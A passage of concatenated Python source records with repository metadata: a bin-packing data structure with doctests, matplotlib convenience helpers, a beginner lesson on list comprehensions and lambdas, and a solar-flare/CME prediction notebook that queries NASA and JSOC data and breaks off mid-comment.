sum=3.0\n    Bin #2: sum=9.0\n    \"\"\"\n\n    def __init__(self, numbins: int=0, sums=None):\n        super().__init__(numbins)\n        if sums is None:\n            sums = np.zeros(numbins)\n        self.sums = sums\n\n    def add_empty_bins(self, numbins: int=1):\n        super().add_empty_bins(numbins)\n        self.sums = np.concatenate((self.sums, np.zeros(numbins)))\n        return self\n\n    def remove_bins(self, numbins: int=1):\n        super().remove_bins(numbins)\n        self.sums = self.sums[:-numbins]\n        return self\n\n    def add_item_to_bin(self, item: Any, bin_index: int, inplace=True)->Bins:\n        value = self.valueof(item)\n        if inplace:\n            self.sums[bin_index] += value\n            return self\n        else:\n            new_sums = np.copy(self.sums)\n            new_sums[bin_index] += value\n            return BinsKeepingSums(self.num, new_sums).set_valueof(self.valueof)\n\n    def bin_to_str(self, bin_index: int) -> str:\n        return f\"sum={self.sums[bin_index]}\"\n\n    def sort(self):\n        self.sums.sort()\n        return self\n\n\nclass BinsKeepingContents(BinsKeepingSums):\n    \"\"\"\n    A bins structure that keeps track of the entire contents of each bin.\n\n    >>> bins = BinsKeepingContents(3)\n    >>> values = {\"a\":3, \"b\":4, \"c\":5, \"d\":5, \"e\":5}\n    >>> bins.valueof = lambda x: values[x]\n    >>> bins.add_item_to_bin(item=\"a\", bin_index=0)\n    Bin #0: ['a'], sum=3.0\n    Bin #1: [], sum=0.0\n    Bin #2: [], sum=0.0\n    >>> bins.add_item_to_bin(item=\"b\", bin_index=1)\n    Bin #0: ['a'], sum=3.0\n    Bin #1: ['b'], sum=4.0\n    Bin #2: [], sum=0.0\n    >>> bins.add_item_to_bin(item=\"c\", bin_index=1)\n    Bin #0: ['a'], sum=3.0\n    Bin #1: ['b', 'c'], sum=9.0\n    Bin #2: [], sum=0.0\n    >>> bins.add_item_to_bin(item=\"d\", bin_index=1, inplace=False)\n    Bin #0: ['a'], sum=3.0\n    Bin #1: ['b', 'c', 'd'], sum=14.0\n    Bin #2: [], sum=0.0\n    >>> bins.add_item_to_bin(item=\"d\", bin_index=2, inplace=False)\n    Bin #0: ['a'], sum=3.0\n    Bin #1: ['b', 'c'], sum=9.0\n    Bin #2: ['d'], sum=5.0\n    >>> bins.num\n    3\n    >>> bins.add_empty_bins()\n    Bin #0: ['a'], sum=3.0\n    Bin #1: ['b', 'c'], sum=9.0\n    Bin #2: [], sum=0.0\n    Bin #3: [], sum=0.0\n    >>> bins.num\n    4\n    >>> bins.remove_bins()\n    Bin #0: ['a'], sum=3.0\n    Bin #1: ['b', 'c'], sum=9.0\n    Bin #2: [], sum=0.0\n    >>> bins.num\n    3\n    >>> bins.sort()\n    Bin #0: [], sum=0.0\n    Bin #1: ['a'], sum=3.0\n    Bin #2: ['b', 'c'], sum=9.0\n    \"\"\"\n\n    def __init__(self, numbins: int=0, sums=None, bins=None):\n        super().__init__(numbins, sums)\n        if bins is None:\n            bins = [[] for _ in range(numbins)]\n        self.bins = bins\n\n    def add_empty_bins(self, numbins: int=1):\n        super().add_empty_bins(numbins)\n        for _ in range(numbins):\n            self.bins.append([])\n        return self\n\n    def remove_bins(self, numbins: int=1):\n        super().remove_bins(numbins)\n        self.bins = self.bins[:-numbins]\n        return self\n\n    def add_item_to_bin(self, item: Any, bin_index: int, inplace=True)->Bins:\n        value = self.valueof(item)\n        if inplace:\n            self.sums[bin_index] += value\n            self.bins[bin_index].append(item)\n            return self\n        else:\n            new_sums = np.copy(self.sums)\n            new_sums[bin_index] += value\n            new_bins = list(self.bins)\n            new_bins[bin_index] = new_bins[bin_index] + [item]\n            return BinsKeepingContents(self.num, new_sums, new_bins).set_valueof(self.valueof)\n\n    def bin_to_str(self, bin_index: int) -> str:\n        return f\"{self.bins[bin_index]}, sum={self.sums[bin_index]}\"\n\n    def sort(self):\n        sorted_indices = sorted(range(self.num), key=lambda i:self.sums[i])\n        self.sums = [self.sums[sorted_indices[i]] for i in range(self.num)]\n        self.bins = [self.bins[sorted_indices[i]] for i in range(self.num)]\n        return self\n\n\nif __name__ == \"__main__\":\n    import doctest\n\n    (failures, tests) = doctest.testmod(report=True)\n    print(\"{} failures, {} tests\".format(failures, tests))\n", "meta": {"hexsha": "5aabeaaca88738affd4d5a7afaa48f4cd14177f2", "size": 6864, "ext": "py", "lang": "Python", "max_stars_repo_path": "prtpy/bins.py", "max_stars_repo_name": "erelsgl/prtpy", "max_stars_repo_head_hexsha": "1404623f10164929fab1f8c09ebe4780e885b123", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2022-02-27T11:28:05.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-12T20:16:14.000Z", "max_issues_repo_path": "prtpy/bins.py", "max_issues_repo_name": "erelsgl/prtpy", "max_issues_repo_head_hexsha": "1404623f10164929fab1f8c09ebe4780e885b123", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "prtpy/bins.py", "max_forks_repo_name": "erelsgl/prtpy", "max_forks_repo_head_hexsha": "1404623f10164929fab1f8c09ebe4780e885b123", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.0163265306, "max_line_length": 112, "alphanum_fraction": 0.5643939394, "include": true, "reason": "import numpy", "num_tokens": 2138, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.11124120356108878, "lm_q1q2_score": 0.054751600596069816}}
{"text": "'''\nThis file is to make your working environment pretty similar to the matlab working environment, with lots of useful\nfunctions imported so you don't need to worry about typing 'plt.' beforehand. It also imports several custom functions\n'''\n\nimport matplotlib\n# matplotlib.use('Agg')\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport collections\nimport datetime\nfrom datetime import datetime as dt\nimport pickle\nimport glob\nimport mpld3\nimport time # used in tic() toc()\n\n\n# # use these in notebooks\n# %load_ext autoreload\n# %autoreload 2\n# %matplotlib\n\n# should we filter warnings by default? probably not\n# import warnings\n# warnings.filterwarnings('ignore')\n\n# import directly a bunch of useful functions from matplotlib and numpy\nimport matplotlib.patches as patches\nfrom matplotlib.pyplot import plot, hist, figure, clf, cla, xlabel, ylabel, xlim, ylim, \\\n                              gcf, gca, sca, close, title, legend, grid, bar, suptitle, show,\\\n                              xticks, yticks, hist2d, pcolor, yscale, xscale, axis, pcolor,\\\n                              contour, colorbar, scatter, boxplot, savefig, tight_layout,\\\n                              text\n\nfrom numpy import mean, log10, log, sqrt, power, linspace, sin, cos, tan,\\\n                        arcsin, arccos, arctan, inf, nan\n\nfrom random import random as rand\n\n# load in all the specialized functions.\nfrom .viz import *\nfrom .etl import *\nfrom .histogram_utils import nhist, ndhist\nfrom . import cbrt_scale\n\n# If you get JSON serilization errors because of zoomplot, then you might need this\n# python -m pip install --user \"git+https://github.com/javadba/mpld3@display_fix\"\ndef zoom_plot(enable = True):\n    if enable:\n        mpld3.enable_notebook()\n    else:\n        mpld3.disable_notebook()\n\n\ndef fig_sizer(a='none', b='none'):\n    if a == 'none':\n        a = 10\n        b = 15\n    elif b == 'none':\n        b = a\n\n    plt.rcParams[\"figure.figsize\"] = [b, a]\n\ndef display_pnct(cnt,N):\n    print(\"%\"+ str(round(100*cnt/N)) + \", \" + str(cnt) + \"/\" + str(N))\n\ndef return_pnct(cnt,N):\n    return (\"%\"+ str(round(100*cnt/N)) + \", \" + str(cnt) + \"/\" + str(N))\n\n\n# display the status every so often\ndef count_helper(cnt, S=1, freq=10, pcnt=False):\n    if pcnt:\n        freq = np.round(S * freq / 100)\n\n    if cnt % freq == 0:\n        if pcnt:\n            print(str(100.0 * cnt / S) + \"% complete\")\n        else:\n            print(str(cnt) + \" / \" + str(S))\n\ndef tic():\n    \"\"\"\n    Homemade version of matlab tic function\n    modified by Lansey for python3 from->\n    http://stackoverflow.com/questions/5849800/tic-toc-functions-analog-in-python\n\n    \"\"\"\n    global startTime_for_tictoc\n    startTime_for_tictoc = time.time()\n\ndef toc():\n    \"\"\"\n    Homemade version of matlab toc function\n    modified by Lansey for python3 from->\n    http://stackoverflow.com/questions/5849800/tic-toc-functions-analog-in-python\n\n    \"\"\"\n    if not startTime_for_tictoc:\n        print('hey you never hit start')\n    else:\n        if 'startTime_for_tictoc' in globals():\n            print(\"Elapsed time is \" + str(time.time() - startTime_for_tictoc) + \" seconds.\")\n        else:\n            print(\"Toc: start time not set\")\n        return time.time() - startTime_for_tictoc\n\n\ndef silent_toc():\n    \"\"\"\n    Homemade version of matlab toc function\n    modified by Lansey for python3 from->\n    http://stackoverflow.com/questions/5849800/tic-toc-functions-analog-in-python\n    The silent version does not print any statements, just returns the value\n\n    \"\"\"\n    if not startTime_for_tictoc:\n        return 0\n    else:\n        import time\n        if 'startTime_for_tictoc' in globals():\n            return time.time() - startTime_for_tictoc\n        else:\n            return None\n\n\ndef xticklabels(all_lbl):\n    gca().set_xticklabels(all_lbl)\n\n\ndef nhist_multi(cur, **varargs):\n    n = int(np.ceil(np.sqrt(len(cur))))\n    for cnt, k in enumerate(cur.keys()):\n        subplotter(n, n, cnt)\n        nhist(cur[k], **varargs)\n        title(k)\n    tight_layout()\n\n# set some nice defaults for plotting\nplt.rcParams[\"figure.figsize\"] = [12, 9]\nplt.rcParams['image.cmap'] = 'viridis'\n", "meta": {"hexsha": "53c421f6d5b5d0c89c6e30c7037498895973277b", "size": 4166, "ext": "py", "lang": "Python", "max_stars_repo_path": "matviz/helpers_graphing.py", "max_stars_repo_name": "JLansey/matviz", "max_stars_repo_head_hexsha": "4303cd5f4d7900bde587afc4c29c9aa350d8e4cc", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2020-07-20T15:51:50.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-25T15:47:30.000Z", "max_issues_repo_path": "matviz/helpers_graphing.py", "max_issues_repo_name": "JLansey/matviz", "max_issues_repo_head_hexsha": "4303cd5f4d7900bde587afc4c29c9aa350d8e4cc", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2020-08-10T22:12:29.000Z", "max_issues_repo_issues_event_max_datetime": "2020-08-15T15:21:11.000Z", "max_forks_repo_path": "matviz/helpers_graphing.py", "max_forks_repo_name": "JLansey/matviz", "max_forks_repo_head_hexsha": "4303cd5f4d7900bde587afc4c29c9aa350d8e4cc", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.9305555556, "max_line_length": 118, "alphanum_fraction": 0.6433029285, "include": true, "reason": "import numpy,from numpy", "num_tokens": 1052, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207955, "lm_q2_score": 0.11124120208786167, "lm_q1q2_score": 0.0547515998709649}}
{"text": "import numpy as np\r\n\r\n# one liner\r\n# long\r\nmlist = [] \r\nfor i in range(10):\r\n    print(i)\r\n    mlist.append(i)\r\nprint(mlist)\r\n\r\n# one line\r\nmlist = [i for i in range(10)]    \r\nprint(mlist)\r\n\r\n# long\r\nmlist = []\r\nfor i in range(10):\r\n    if np.mod(i,2)==0:\r\n        mlist.append(i)\r\n    else:\r\n        mlist.append(i-1)\r\nprint(mlist)\r\n\r\n# one line\r\nlst = [i if np.mod(i,2)==0 else i-1 for i in range(0,10)]\r\nprint(lst)\r\n\r\n# long\r\nif np.mod(i,2)==0:\r\n    mlist.append(i)\r\nelse:\r\n    mlist.append(i-1)\r\n\r\n# short\r\n# i if np.mod(i,2)==0 else i-1\r\n\r\nstatus = False\r\nxvar = 5 if status else 4\r\n\r\n# lambda \r\n\r\nfunc = lambda a : a + 10\r\nfunc(5)\r\n\r\n\r\ndef pos(input1):\r\n    return True if input1 >0 else False\r\n\r\nres = list(filter(pos,[1,-10,3,-7,4,-9]))\r\n\r\ndef neg(input1):\r\n    return False if input1 >0 else True\r\n\r\nres = list(filter(neg,[1,-10,3,-7,4,-9]))\r\n\r\nmy_list = [1, 5, 4, 6, 8, 11, 3, 12]\r\nnew_list = list(filter(lambda x: (x%2 == 0) , my_list))\r\nprint(new_list)\r\n\r\n# map\r\nmy_list = [1, 5, 4, 6, 8, 11, 3, 12]\r\nnew_list = list(map(lambda x: x * 2 , my_list))\r\nprint(new_list)\r\n\r\n# zip\r\nlist1 = range(0,10)\r\nlist2 = range(10,20)\r\n\r\nfor i in zip(list1, list2):\r\n    print(i)  \r\n\r\n# enumerate  \r\nfor count, value in enumerate(list2):\r\n    print(count, value)\r\n\r\n# while loop\r\ni = 1    \r\nwhile i < 50:\r\n    print(i)\r\n    i += 1 # i = i + 150 i += 150\r\n\r\n", "meta": {"hexsha": "a751206fdbc37d2103efc33bb1c63974f999f037", "size": 1352, "ext": "py", "lang": "Python", "max_stars_repo_path": "week3/week3_one_liner.py", "max_stars_repo_name": "Namuun0101/Introduction_Python", "max_stars_repo_head_hexsha": "dc8076736e684a323879b9f52d72dfb0c23f7667", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "week3/week3_one_liner.py", "max_issues_repo_name": "Namuun0101/Introduction_Python", "max_issues_repo_head_hexsha": "dc8076736e684a323879b9f52d72dfb0c23f7667", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "week3/week3_one_liner.py", "max_forks_repo_name": "Namuun0101/Introduction_Python", "max_forks_repo_head_hexsha": "dc8076736e684a323879b9f52d72dfb0c23f7667", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 16.487804878, "max_line_length": 58, "alphanum_fraction": 0.5525147929, "include": true, "reason": "import numpy", "num_tokens": 476, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3849121444839335, "lm_q2_score": 0.14223190046381004, "lm_q1q2_score": 0.0547467858215505}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Notebook\n\n# A Coronal Mass Ejection (CME) throws magnetic flux and plasma from the Sun into interplanetary space. These eruptions are actually related to solar flares -- in fact, CMEs and solar flares are considered \u201ca single magnetically driven event\u201d ([Webb & Howard 2012](http://adsabs.harvard.edu/abs/2012LRSP....9....3W)), wherein a flare unassociated with a CME is called a confined or compact flare. <br>\n# \n# In general, the more energetic a flare, the more likely it is to be associated with a CME ([Yashiro et al. 2005](http://adsabs.harvard.edu/abs/2005JGRA..11012S05Y)) -- but this is not, by any means, a rule. For example, [Sun et al. (2015)](http://adsabs.harvard.edu/abs/2015ApJ...804L..28S) found that the largest active region in the last 24 years, shown below, produced 6 X-class flares but not a single observed CME.<br>\n# \n# In this notebook, we will be predicting whether or not a flaring active region will also emit a CME using a machine learning algorithm from the scikit-learn package called Support Vector Machine.\n# \n# The analysis that follows is published in [Bobra & Ilonidis, 2016, <i> Astrophysical Journal</i>, 821, 127](http://adsabs.harvard.edu/abs/2016ApJ...821..127B). If you use any of this code, we ask that you cite Bobra & Ilonidis (2016).\n# \n# Here is a video that explains the difference between a flare and a CME:\n\n# In[1]:\n\n\nfrom IPython.display import YouTubeVideo\nYouTubeVideo(\"TWjtYSRlOUI\")\n\n\n# To do this analysis, we'll look at every active region observed by the Helioseismic and Magnetic Imager instrument on NASA's Solar Dynamics Observatory (SDO) satellite over the last eight years. Each active region is characterized by a bunch of features. These features describe the magnetic field at the solar surface. One feature, for example, is the total energy contained within an active region. Another is the total flux through an active region. We have 18 features, all of which are calculated every 12 minutes throughout an active region's lifetime. See [Bobra et al., 2014](http://link.springer.com/article/10.1007%2Fs11207-014-0529-3) for more information on how we calculate these features. <br>\n# \n# We'll then ascribe each active region to one of two classes:\n# \n# 1. The positive class contains flaring active regions that did produce a CME. \n# 2. The negative class contains flaring active regions that did not produce a CME. \n\n# First, we'll import some modules.\n\n# In[2]:\n\n\nimport numpy as np\nimport matplotlib.pylab as plt\nimport matplotlib.mlab as mlab\nimport pandas as pd\nimport scipy.stats\nimport requests\nimport urllib\nimport json\nfrom datetime import datetime as dt_obj\nfrom datetime import timedelta\nfrom sklearn import svm\nfrom sklearn.model_selection import StratifiedKFold\nfrom sunpy.time import TimeRange\nimport sunpy.instr.goes\nimport lime\nimport lime.lime_tabular\npd.set_option('display.max_rows', 500)\nget_ipython().run_line_magic('matplotlib', 'inline')\nget_ipython().run_line_magic('config', \"InlineBackend.figure_format = 'retina'\")\n\n\n# Now we'll gather the data. The data come from three different places: \n# \n# 1. CME data from SOHO/LASCO and STEREO/SECCHI coronographs, which can be accesed from the [DONKI database](http://kauai.ccmc.gsfc.nasa.gov/DONKI/) at NASA Goddard. This tells us if an active region has produced a CME or not.\n# 2. Flare data from the GOES flare catalog at NOAA, which can be accessed with the `sunpy.instr.goes.get_event_list()` function. This tells us if an active region produced a flare or not.\n# 3. Active region data from the Solar Dynamics Observatory's Heliosesmic and Magnetic Imager instrument, which can be accessed from the [JSOC database](http://jsoc.stanford.edu/) via a JSON API. This gives us the features characterizing each active region.\n\n# ## Step 1: Gathering data for the positive class\n\n# Let's first query the [DONKI database](http://kauai.ccmc.gsfc.nasa.gov/DONKI/) to get the data associated with the positive class. Be forewarned: there's a lot of data cleaning involved with building the positive class.\n\n# In[3]:\n\n\n# request the data\nbaseurl = \"https://kauai.ccmc.gsfc.nasa.gov/DONKI/WS/get/FLR?\"\nt_start = \"2010-05-01\"\nt_end = \"2018-04-01\"\nurl = baseurl+\"startDate=\"+t_start+\"&endDate=\"+t_end\n\n# if there's no response at this time, print warning\nresponse = requests.get(url)\nif response.status_code != 200:\n    print('cannot successfully get an http response')\n\n\n# In[4]:\n\n\n# read the data\n\nprint(\"Getting data from\", url)\ndf = pd.read_json(url)\n\n# select flares associated with a linked event (SEP or CME), and\n# select only M or X-class flares\nevents_list = df.loc[df['classType'].str.contains(\n    \"M|X\") & ~df['linkedEvents'].isnull()]\n\n# drop all rows that don't satisfy the above conditions\nevents_list = events_list.reset_index(drop=True)\n\n\n# In[5]:\n\n\n# drop the rows that aren't linked to CME events\nfor i in range(events_list.shape[0]):\n    value = events_list.loc[i]['linkedEvents'][0]['activityID']\n    if not \"CME\" in value:\n        print(value, \"not a CME, dropping row\")\n        events_list = events_list.drop([i])\nevents_list = events_list.reset_index(drop=True)\n\n\n# Convert the `peakTime` column in the `events_list` dataframe from a string into a datetime object:\n\n# In[6]:\n\n\ndef parse_tai_string(tstr):\n    year = int(tstr[:4])\n    month = int(tstr[5:7])\n    day = int(tstr[8:10])\n    hour = int(tstr[11:13])\n    minute = int(tstr[14:16])\n    return dt_obj(year, month, day, hour, minute)\n\n\nfor i in range(events_list.shape[0]):\n    events_list['peakTime'].iloc[i] = parse_tai_string(\n        events_list['peakTime'].iloc[i])\n\n\n# Check for Case 1: In this case, the CME and flare exist but NOAA active region number does not exist in the DONKI database.\n\n# In[7]:\n\n\n# Case 1: CME and Flare exist but NOAA active region number does not exist in DONKI database\n\nnumber_of_donki_mistakes = 0  # count the number of DONKI mistakes\n# create an empty array to hold row numbers to drop at the end\nevent_list_drops = []\n\nfor i in range(events_list.shape[0]):\n    if (np.isnan(events_list.loc[i]['activeRegionNum'])):\n        time = events_list['peakTime'].iloc[i]\n        time_range = TimeRange(time, time)\n        listofresults = sunpy.instr.goes.get_goes_event_list(time_range, 'M1')\n        if (listofresults[0]['noaa_active_region'] == 0):\n            print(events_list.loc[i]['activeRegionNum'], events_list.loc[i]\n                  ['classType'], \"has no match in the GOES flare database ; dropping row.\")\n            event_list_drops.append(i)\n            number_of_donki_mistakes += 1\n            continue\n        else:\n            print(\"Missing NOAA number:\", events_list['activeRegionNum'].iloc[i], events_list['classType'].iloc[i],\n                  events_list['peakTime'].iloc[i], \"should be\", listofresults[0]['noaa_active_region'], \"; changing now.\")\n            events_list['activeRegionNum'].iloc[i] = listofresults[0]['noaa_active_region']\n            number_of_donki_mistakes += 1\n\n# Drop the rows for which there is no active region number in both the DONKI and GOES flare databases\nevents_list = events_list.drop(event_list_drops)\nevents_list = events_list.reset_index(drop=True)\nprint('There are', number_of_donki_mistakes, 'DONKI mistakes so far.')\n\n\n# Now we grab all the data from the GOES database in preparation for checking Cases 2 and 3.\n\n# In[8]:\n\n\n# Grab all the data from the GOES database\ntime_range = TimeRange(t_start, t_end)\nlistofresults = sunpy.instr.goes.get_goes_event_list(time_range, 'M1')\nprint('Grabbed all the GOES data; there are', len(listofresults), 'events.')\n\n\n# Check for Case 2: In this case, the NOAA active region number is wrong in the DONKI database.\n\n# In[9]:\n\n\n# Case 2: NOAA active region number is wrong in DONKI database\n\n# collect all the peak flares times in the NOAA database\npeak_times_noaa = [item[\"peak_time\"] for item in listofresults]\n\nfor i in range(events_list.shape[0]):\n    # check if a particular DONKI flare peak time is also in the NOAA database\n    peak_time_donki = events_list['peakTime'].iloc[i]\n    if peak_time_donki in peak_times_noaa:\n        index = peak_times_noaa.index(peak_time_donki)\n    else:\n        continue\n    # ignore NOAA active region numbers equal to zero\n    if (listofresults[index]['noaa_active_region'] == 0):\n        continue\n    # if yes, check if the DONKI and NOAA active region numbers match up for this peak time\n    # if they don't, flag this peak time and replace the DONKI number with the NOAA number\n    if (listofresults[index]['noaa_active_region'] != int(events_list['activeRegionNum'].iloc[i])):\n        print('Messed up NOAA number:', int(events_list['activeRegionNum'].iloc[i]), events_list['classType'].iloc[i],\n              events_list['peakTime'].iloc[i], \"should be\", listofresults[index]['noaa_active_region'], \"; changing now.\")\n        events_list['activeRegionNum'].iloc[i] = listofresults[index]['noaa_active_region']\n        number_of_donki_mistakes += 1\nprint('There are', number_of_donki_mistakes, 'DONKI mistakes so far.')\n\n\n# Check for Case 3: In this case, the flare peak time is wrong in the DONKI database.\n\n# In[10]:\n\n\n# Case 3: The flare peak time is wrong in the DONKI database.\n\n# create an empty array to hold row numbers to drop at the end\nevent_list_drops = []\n\nactive_region_numbers_noaa = [item[\"noaa_active_region\"]\n                              for item in listofresults]\nflare_classes_noaa = [item[\"goes_class\"] for item in listofresults]\n\nfor i in range(events_list.shape[0]):\n    # check if a particular DONKI flare peak time is also in the NOAA database\n    peak_time_donki = events_list['peakTime'].iloc[i]\n    if not peak_time_donki in peak_times_noaa:\n        active_region_number_donki = int(\n            events_list['activeRegionNum'].iloc[i])\n        flare_class_donki = events_list['classType'].iloc[i]\n        flare_class_indices = [i for i, x in enumerate(\n            flare_classes_noaa) if x == flare_class_donki]\n        active_region_indices = [i for i, x in enumerate(\n            active_region_numbers_noaa) if x == active_region_number_donki]\n        common_indices = list(\n            set(flare_class_indices).intersection(active_region_indices))\n        if common_indices:\n            print(\"Messed up time:\", int(events_list['activeRegionNum'].iloc[i]), events_list['classType'].iloc[i],\n                  events_list['peakTime'].iloc[i], \"should be\", peak_times_noaa[common_indices[0]], \"; changing now.\")\n            events_list['peakTime'].iloc[i] = peak_times_noaa[common_indices[0]]\n            number_of_donki_mistakes += 1\n        if not common_indices:\n            print(\"DONKI flare peak time\",\n                  events_list['peakTime'].iloc[i], \"has no match; dropping row.\")\n            event_list_drops.append(i)\n            number_of_donki_mistakes += 1\n\n# Drop the rows for which the NOAA active region number and flare class associated with\n# the messed-up flare peak time in the DONKI database has no match in the GOES flare database\nevents_list = events_list.drop(event_list_drops)\nevents_list = events_list.reset_index(drop=True)\n\n# Create a list of corrected flare peak times\npeak_times_donki = [events_list['peakTime'].iloc[i]\n                    for i in range(events_list.shape[0])]\n\nprint('There are', number_of_donki_mistakes, 'DONKI mistakes so far.')\n\n\n# This is our final table of events that fall into the positive class:\n\n# In[11]:\n\n\nevents_list\n\n\n# Now let's query the JSOC database to see if there are active region parameters at the time of the flare. First read the following file to map NOAA active region numbers to HARPNUMs (a HARP, or an HMI Active Region Patch, is the preferred numbering system for the HMI active regions as they appear in the magnetic field data before NOAA observes them in white light):\n\n# In[12]:\n\n\nanswer = pd.read_csv(\n    'http://jsoc.stanford.edu/doc/data/hmi/harpnum_to_noaa/all_harps_with_noaa_ars.txt', sep=' ')\n\n\n# Now, let's determine at which time we'd like to predict CMEs. In general, many people try to predict a CME either 24 or 48 hours before it happens. We can report both in this study by setting a variable called `timedelayvariable`:\n\n# In[13]:\n\n\ntimedelayvariable = 24\n\n\n# Now, we'll convert subtract `timedelayvariable` from the GOES Peak Time and re-format the datetime object into a string that JSOC can understand:\n\n# In[14]:\n\n\nt_rec = [(events_list['peakTime'].iloc[i] - timedelta(hours=timedelayvariable)\n          ).strftime('%Y.%m.%d_%H:%M_TAI') for i in range(events_list.shape[0])]\n\n\n# Now we can grab the SDO data from the JSOC database by executing the JSON queries. We are selecting data that satisfies several criteria: The data has to be [1] disambiguated with a version of the disambiguation module greater than 1.1, [2] taken while the orbital velocity of the spacecraft is less than 3500 m/s, [3] of a high quality, and [4] within 70 degrees of central meridian. If the data pass all these tests, they are stuffed into one of two lists: one for the positive class (called CME_data) and one for the negative class (called no_CME_data).\n\n# In[15]:\n\n\ndef get_the_jsoc_data(event_count, t_rec):\n    \"\"\"\n    Parameters\n    ----------\n    event_count: number of events \n                 int\n\n    t_rec:       list of times, one associated with each event in event_count\n                 list of strings in JSOC format ('%Y.%m.%d_%H:%M_TAI')\n\n    \"\"\"\n\n    catalog_data = []\n    classification = []\n\n    for i in range(event_count):\n\n        print(\"=====\", i, \"=====\")\n        # next match NOAA_ARS to HARPNUM\n        idx = answer[answer['NOAA_ARS'].str.contains(\n            str(int(listofactiveregions[i])))]\n\n        # if there's no HARPNUM, quit\n        if (idx.empty == True):\n            print('skip: there are no matching HARPNUMs for',\n                  str(int(listofactiveregions[i])))\n            continue\n\n        # construct jsoc_info queries and query jsoc database; we are querying for 25 keywords\n        url = \"http://jsoc.stanford.edu/cgi-bin/ajax/jsoc_info?ds=hmi.sharp_720s[\"+str(\n            idx.HARPNUM.values[0])+\"][\"+t_rec[i]+\"][? (CODEVER7 !~ '1.1 ') and (abs(OBS_VR)< 3500) and (QUALITY<65536) ?]&op=rs_list&key=USFLUX,MEANGBT,MEANJZH,MEANPOT,SHRGT45,TOTUSJH,MEANGBH,MEANALP,MEANGAM,MEANGBZ,MEANJZD,TOTUSJZ,SAVNCPP,TOTPOT,MEANSHR,AREA_ACR,R_VALUE,ABSNJZH\"\n        response = requests.get(url)\n\n        # if there's no response at this time, quit\n        if response.status_code != 200:\n            print('skip: cannot successfully get an http response')\n            continue\n\n        # read the JSON output\n        data = response.json()\n\n        # if there are no data at this time, quit\n        if data['count'] == 0:\n            print('skip: there are no data for HARPNUM',\n                  idx.HARPNUM.values[0], 'at time', t_rec[i])\n            continue\n\n        # check to see if the active region is too close to the limb\n        # we can compute the latitude of an active region in stonyhurst coordinates as follows:\n        # latitude_stonyhurst = CRVAL1 - CRLN_OBS\n        # for this we have to query the CEA series (but above we queried the other series as the CEA series does not have CODEVER5 in it)\n\n        url = \"http://jsoc.stanford.edu/cgi-bin/ajax/jsoc_info?ds=hmi.sharp_cea_720s[\"+str(\n            idx.HARPNUM.values[0])+\"][\"+t_rec[i]+\"][? (abs(OBS_VR)< 3500) and (QUALITY<65536) ?]&op=rs_list&key=CRVAL1,CRLN_OBS\"\n        response = requests.get(url)\n\n        # if there's no response at this time, quit\n        if response.status_code != 200:\n            print('skip: failed to find CEA JSOC data for HARPNUM',\n                  idx.HARPNUM.values[0], 'at time', t_rec[i])\n            continue\n\n        # read the JSON output\n        latitude_information = response.json()\n\n        # if there are no data at this time, quit\n        if latitude_information['count'] == 0:\n            print('skip: there are no data for HARPNUM',\n                  idx.HARPNUM.values[0], 'at time', t_rec[i])\n            continue\n\n        CRVAL1 = float(latitude_information['keywords'][0]['values'][0])\n        CRLN_OBS = float(latitude_information['keywords'][1]['values'][0])\n        if (np.absolute(CRVAL1 - CRLN_OBS) > 70.0):\n            print('skip: latitude is out of range for HARPNUM',\n                  idx.HARPNUM.values[0], 'at time', t_rec[i])\n            continue\n\n        if ('MISSING' in str(data['keywords'])):\n            print('skip: there are some missing keywords for HARPNUM',\n                  idx.HARPNUM.values[0], 'at time', t_rec[i])\n            continue\n\n        print('accept NOAA Active Region number', str(int(\n            listofactiveregions[i])), 'and HARPNUM', idx.HARPNUM.values[0], 'at time', t_rec[i])\n\n        individual_flare_data = []\n        for j in range(18):\n            individual_flare_data.append(\n                float(data['keywords'][j]['values'][0]))\n\n        catalog_data.append(list(individual_flare_data))\n\n        single_class_instance = [idx.HARPNUM.values[0], str(\n            int(listofactiveregions[i])), listofgoesclasses[i], t_rec[i]]\n        classification.append(single_class_instance)\n\n    return catalog_data, classification\n\n\n# Now we prepare the data to be fed into the function:\n\n# In[16]:\n\n\nlistofactiveregions = list(events_list['activeRegionNum'].values.flatten())\nlistofgoesclasses = list(events_list['classType'].values.flatten())\n\n\n# And call the function:\n\n# In[17]:\n\n\npositive_result = get_the_jsoc_data(events_list.shape[0], t_rec)\n\n\n# Here is the number of events associated with the positive class:\n\n# In[18]:\n\n\nCME_data = positive_result[0]\npositive_class = positive_result[1]\nprint(\"There are\", len(CME_data), \"CME events in the positive class.\")\n\n\n# ## Step 2: Gathering data for the negative class\n\n# To gather the examples for the negative class, we only need to:\n# \n# 1. Query the GOES database for all the M- and X-class flares during our time of interest, and\n# 2. Select the ones that are not associated with a CME. \n\n# In[19]:\n\n\n# select peak times that 